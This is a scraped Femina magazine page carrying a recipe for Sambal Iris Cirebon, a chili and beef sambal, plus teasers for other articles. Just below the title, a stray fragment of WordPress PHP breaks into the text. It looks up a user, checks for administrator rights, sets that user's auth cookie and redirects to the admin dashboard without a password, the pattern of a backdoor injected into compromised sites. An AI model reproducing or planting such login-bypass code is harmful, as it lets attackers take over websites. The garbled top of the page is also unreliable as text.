Sambal Iris Cirebon

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Daging

Sambal Iris Cirebon

25 Nov 2016

Foto: Dachri M.S

Sambal yang jadi pendamping nasi jamblang khas Cirebon ini juga cocok untuk Anda yang menyukai rasa pedas yang kalem.

Bahan:
500 g cabai merah besar, iris tipis
100 ml minyak sayur
6 butir bawang merah, iris tipis
5 siung bawang putih, iris tipis
75 g cabai merah keriting, haluskan
2 lembar daun salam
2 batang serai
4 cm lengkuas

100 g daging sapi, potong dadu 1 cm
50 ml air
1½ sdt garam
1½ sdt gula pasir

Cara membuat:

Seduh cabai merah iris dengan air panas hingga agak layu. Tiriskan.
Panaskan minyak, tumis cabai iris sebentar hingga layu. Angkat. Sisihkan.
Panaskan 4 sdm minyak sisa menggoreng cabai. Tumis semua bawang hingga harum. Masukkan cabai merah halus, salam, serai, lengkuas, tumis hingga harum.
Masukkan daging sapi, masak hingga berubah warna. Tambahkan air, garam, dan gula, aduk rata. Masak hingga matang dan air terserap habis.
Masukkan cabai merah iris, aduk rata. Angkat. Segera masukkan ke dalam wadah steril. Tutup rapat. (f)

Untuk 600 g
Resep telah diuji coba di Dapur Uji Femina

Baca juga:
Sambal Hijau Teri Jengki
Cara Menyimpan Daging Segar
Tumis Daging Ala Mongolia

Topic
#anekasambal

1Malaysia International Shoe Festival

Paradigma Sepatu

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id